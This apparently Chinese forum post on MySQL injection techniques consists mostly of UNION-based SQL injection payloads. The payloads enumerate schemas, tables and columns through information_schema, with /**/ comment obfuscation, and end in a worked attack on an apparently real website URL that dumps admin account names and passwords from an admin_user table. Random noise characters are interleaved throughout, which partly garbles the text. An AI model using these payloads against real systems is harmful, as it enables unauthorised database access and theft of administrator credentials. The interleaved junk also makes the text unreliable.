mysql注入技巧

admin

查库
- v  I8 j0 l  h5 H- Z( Q
id=-1 union select 1,..,SCHEMA_NAME,n  from/**/information_schema.SCHEMATA limit 1,1/*

查表

id=-1/**/union/**/select/**/1,TABLE_NAME,N/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=库的HEX值/**/limit/**/1,1
& d4 H. @* V* a
查段
3 Y: z! z8 \& ^' k
7 ]6 I# z1 e! ]. fid=-1/**/union/**/select/**/1,COLUMN_NAME,N/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=表的HEX值/**/limit/**/1,1
2 r' u9 t& k; V. ~( A- N
0 ~( G% A2 K/ m4 Z- V) ?$ `
mysql5高级注入方法暴表
: T* D" E, `4 x: J& h. ?$ v3 \
- P' h. c5 S7 u3 }( ^% W例子如下:
2 A' K- i) V7 [+ ?- a
+ d) Z% H# s9 y* i2 v1.爆表
; m% _/ _+ ]# e$ y  B' Nhttp://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,TABLE_NAME,5/**/From/**/information_schema.TABLES/**/Where/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*    (0x79645F7465616D6E6574为数据库名的16进制转换yd_teamnet)
8 u9 D: y! ?7 x" G这样爆到第4个时出现了admin_user表。

- ~: o8 O  X% b' f2.暴字段
5 [- [$ L1 l2 L# l) Q2 l! E7 Ohttp://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,COLUMN_NAME,5/**/From/**/information_schema.COLUMNS/**/Where/**/TABLE_NAME=0x61646D696E5F75736572/**/And/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*


  i) _- l' T& F" p3.爆密码
" W7 T3 i- J# a; Ihttp://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,concat(0x7c,ID,0x7c,ACCOUNT,0x7c,PASSWORD,0x7c),5/**/From/**/admin_user/**/limit/**/0,1/*